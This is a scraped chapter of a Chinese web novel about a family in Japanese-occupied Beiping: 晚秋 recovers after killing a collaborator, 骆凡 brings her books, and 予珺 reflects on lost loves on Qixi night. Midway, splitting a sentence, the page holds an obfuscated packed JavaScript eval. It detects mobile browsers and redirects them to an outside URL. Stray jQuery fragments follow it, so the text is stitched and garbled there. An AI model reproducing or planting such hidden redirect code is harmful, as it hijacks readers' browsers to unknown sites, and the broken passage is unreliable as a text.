默认冷灰
24号文字
方正启体

68. 第六十八章

作者:遥屿本书字数:K更新时间:
    初到西郊小院儿那两天,晚秋有种筋疲力尽的疲惫与茫然,仿佛一个长途跋涉万里奔波的旅人终于抵达了歇脚的驿站,大事已成后的她心一下子完全放空了,也暂时不愿再去思索什么。负责接应的大婶每天供给她简陋但充足的饮食,晚秋也便心无旁骛地安顿了下来。


    那两天她睡得特别深沉,还做了一个悠长恍惚的梦。梦里她看见儿时的予隆穿着不知打哪儿翻腾出来的一双“花盆底子”,一摇一摆噗嗤噗嗤在胡同儿里踩水玩儿,见了人便道“皇上吉祥”。画面一转,又到了那年时家老太爷过世,两户时家大办丧事,请了法源寺的高僧念经超度,四七放焰口,予珺伏在她耳朵边儿上小声嘀咕:“晚秋,爸爸说一会儿等烟花升起的时候,从大和尚那面小镜子里,能看见死了的老太爷。”她吓得几乎一整晚都紧闭着双眼,心底里又隐隐约约有一缕好奇在蠢蠢欲动。紧跟着又瞧见南苑老六叔肩挑手提的走进马尾巴胡同,还没走到6号门前,予寰早飞跑过去一头扎进他怀里。六叔放下手里提的山货,一把将予寰高高举起,呼呼呼地转了好几圈。予寰清脆稚嫩的欢笑声还在她耳畔没散,就瞧见予辰大哥意气风发地从学堂里放假回来,阳光明晃晃地照在他米白色的大褂儿上,映得胸前别着的燕大校徽放射出璀璨的光芒。予辰笑着冲她扬一扬手:“晚秋,你快来,贾太太才送来他们铺子新制的乌梅糕,清甜爽口咬一口透心儿甜,你快来跟二妹一起尝尝。”恍惚就见贾太太一家坐着洋车鱼贯而来,博宇牵着他妈的手蹦跶得正欢脱,胖墩儿似的小身板儿上,小凉粉儿肉一哆嗦一哆嗦地颤悠……


    梦醒后的晚秋直犯愣怔,梦里头的人和事儿分明都像是昨天才发生的,音容笑貌,无一不历历在目。可如今他们都哪儿去了呢?日本鬼子来了这八年,反倒更像是一场怎么也醒不了的噩梦,至亲之人接二连三阴阳永隔,朝夕相处的旧邻一夕之间变作磨牙吮血的鬼怪,心狠手辣杀人如麻。晚秋有些分不清现实与梦境了,这场颠倒流离的梦魇究竟还要煎熬到何时!


    几天后的一个傍晚,骆凡乔装来访。见晚秋总有些病恹恹地提不起劲儿来,骆凡打趣她道:“怎么啦聂小姐?我们成功除掉了一个为虎作伥危害民族的大汉奸,你怎的一点儿喜庆劲儿也没有,反倒意兴阑珊起来?”晚秋直言不讳,坦陈心声:“骆先生,实不相瞒,在刚刚事成的那一刻,我心里激动得不知怎样才好,整整那一宿,我硬是没能合上眼。可这股兴奋劲儿一过,我突然无所适从起来,我不知道自己接下来应该做什么,也不知道自己还能做些什么。骆先生,我们只是除掉了几百上千个汉奸败类中的一个,他们依然还是一股势力,日本鬼子也依旧还在中国祸害老百姓,这场水深火热的噩梦一梦就是八年,骆先生,你说我们什么时候才能迎来黎明与胜利啊?”“嗐!我还当你闹了怎样了不得的大毛病呢,敢情聂小姐是心太急了,我们才取得阶段性胜利,你就迫不及待渴望满盘皆赢啦?”骆凡笑着对晚秋说:“不过聂小姐,我可以很负责任地告诉你,你的殷切期待并非异想天开痴人说梦,日本鬼子气数将尽已是难以回天的定局,你且看咱们宰了晏开泰这条走狗,日本人也仅只是敷衍塞责地盘查了一番,不过是虚张声势做给老百姓看的,真正的目的无非是要瓜分晏开泰的家财中饱私囊。如今的他们已如丧家之犬惶惶不可终日,哪儿还有昔日那股子不可一世为所欲为的威风?聂小姐,天马上就亮啦,你接下来要做的,就是全力以赴,迎接即将被曙光照亮的家国新世界!”


    “新世界?那我能为这个新世界做些什么呢?”晚秋迷茫暗淡多日的双眸终于再次被骆凡点亮,她难掩兴奋,又不无疑惑地问道。“你能做的事情可太多啦,聂小姐,只怕到时候你就要分身乏术,忙不过来啦。不过呢,在投入建设新世界以前,你还需要再“补补课”,做些准备工作来充实自己。”骆凡说着从随身携带的搭裢里拿出几本书,递给晚秋道:“喏,这几本书可是予辰专门为你挑选的,想来聂小姐避居于此,日复一日也是无聊,你好好儿把它们读一读,权当打发时光吧!”晚秋珍重地接过书来,一本一本爱惜地抚过封面,问骆凡说:“骆先生,予辰大哥的身体可好些了?”“还是老样子,不过你们就快见面啦,因为胜利的日子,已经近在眼前。”


    一晃儿就到了七夕,予寰从洋行里得了筐鲜桃儿,给淑珍和孩子们留个了几个,余下的连篓子一起送到15号来。夏意渐浓,冷月半弯,好像一只半死不活的睡眼,倦乏不耐地窥看着凄清寂冷的人间。才过掌灯,马尾巴胡同便已人声寥寥,死气沉沉。有不明就里的外客来访,大抵会误以为这里是一处荒街败巷,久已无人居住。被敌寇战乱磋磨得提心吊胆心气儿全无的老百姓们已经习惯早早熄灯就寝,尽早结束这丧乱无序疲于挣命的一天。予珺没有惊动睡下的顾氏跟李婶,悄声儿埋怨予寰:“你这上有老下有小的,淑珍还有着身子,正是嘴里寡淡乏味儿的时候,还往这边送什么呀,我跟妈都不好吃零嘴儿,你也是知道的。”予寰径自把篓子拿进厨房的背阴地里:“二姐姐,你今儿拿凉水把这桃子?上一宿,明儿早起来一咬一个脆甜解暑。可别跟我客气了,你说咱们家,怎么就能到了为几个桃儿推辞客套的地步!”予珺笑道:“成,那我就替妈妈谢谢你啦!予寰,别说是咱们这种有些根基家资的,你且打听打听全北平城里,打从日本人来了,还有几户是没出过事儿没死过人的?就是晏开泰邓德日这路卖国求荣的走狗汉奸,最后不也自食恶果,玩火自焚了吗。民族危难之际,没有哪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835081|175636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个人、哪一户家能够独善其身,幸免于难。”“是,投生乱世,不及做条太平犬啊!活一天算一天吧,二姐姐,如今我是活着难,又死不起啊。”


    “予寰,你今年不过二十几岁,怎的心境如此老气横秋起来。你有学问有见地,唯一欠缺的就是热情与活力。赶紧支棱起来,以后总有让你大展宏图有所作为的大好世道。”予寰无可如何地撇了予珺一眼,不发一语就要回家去了。予珺连忙赶上几步拦住他:“予寰,我只问一句,你信不信我?”予寰一声长叹,抬眼望向星隐月藏的夜空:“信不信的,我也说不好,还是走一步儿看一步儿吧。”


    送予寰出了街门回来,予珺全没来由地想起那一年在琉璃厂庙会上,自己同晚秋一道撞见他与唐淑凤,那时的予寰青春炽烈意气风发,浑身透着股子初生牛犊般的无畏,像极了端午时节的骄阳烈日,明澈绚烂,自信能够涤荡一切黑暗的角落。予珺还记得淑凤那双顾盼生姿婉转含情的大眼睛,她初见时便惊异于世上竟然有如此好看的眼睛,只一眼就能摄走人们的心魄,再难忘怀。不过八年之间,淑凤香消玉殒早入黄泉,予寰被被生活践踏磋磨得心灰意冷意气全无,与那次偶遇时的他竟判若两人,恍如隔世。又一转念,予珺默然惊觉今儿是阴历七夕啊!纤云弄巧,飞星传恨,叹世间多少有情人爱而不得,阴阳永诀。力生与芸瑛的脸庞又再一次从她心底浮现眼前,生逢乱世红颜命薄的芸瑛格格,简短潦草的一生几乎被苦难和屈辱充斥填满,唯有率真老实的力生是她黄连一般的日子里仅有的一丁点儿甜。造化弄人,谁成想芸瑛死得不明不白,成了力生心底不能提不能碰,倾尽余生都无法愈合的疮疤,纵然他手刃败类大仇得报,可芸瑛永难再见的恨与痛又如何将息?还有那位柔美如猫的孙梓莼小姐,这些年了予珺始终忘不了她,虽然不知道大哥与她之间究竟发生了什么,但予珺清楚明了他们两情相悦彼此情深却终究有缘无分沧海殊途,她不忍问及大哥细究缘由,却深知这一定又是一段刻骨铭心有缘无果的孽情。还有晚秋,她对大哥又何尝不是情不知所起,一往而深。只是她这番破釜沉舟脱胎换骨的孤勇与情执,真能够感动上苍,成全她得偿所愿,与大哥终成眷属吗?


    思及晚秋,予珺陡然心头一紧,事情完成已近月余,晚秋在匿居地也不知怎么样了,为确保安全起见,骆凡没有告诉她详细的地址,更不允许她私自去探望晚秋。望着沉黑如墨的夜空,予珺不禁焦躁恼恨起来,民族兴亡功败垂成的关键时刻,自己怎么竟还有闲情逸致伤春悲秋谈情思爱!难道不该如晚秋一般身体力行,倾尽自己所有的力量,为民族的胜利拼死一搏吗?庚升月落,她注定又要度过一个辗转反侧思绪难平的不眠之夜了...............
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)